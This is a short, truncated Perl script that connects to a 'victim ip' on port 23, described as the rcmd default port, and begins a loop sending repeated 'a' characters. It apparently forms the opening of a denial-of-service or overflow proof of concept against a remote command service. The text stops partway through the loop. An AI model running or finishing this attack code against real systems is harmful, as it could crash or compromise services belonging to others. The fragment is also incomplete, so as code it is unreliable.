use IO::Socket;
$remote_host = '127.0.0.1';              #victim ip as your wish
$remote_port = 23;                       #rcmd default port number
$sock = IO::Socket::INET->new(PeerAddr => $remote_host, PeerPort => $remote_port,
        Timeout => 60) || die "$remote_host -> $remote_port is closed!\n";
$sock->recv($content, 1000, 0);
$count=0;
while($count<=255){
	$sock->send("a", 0);
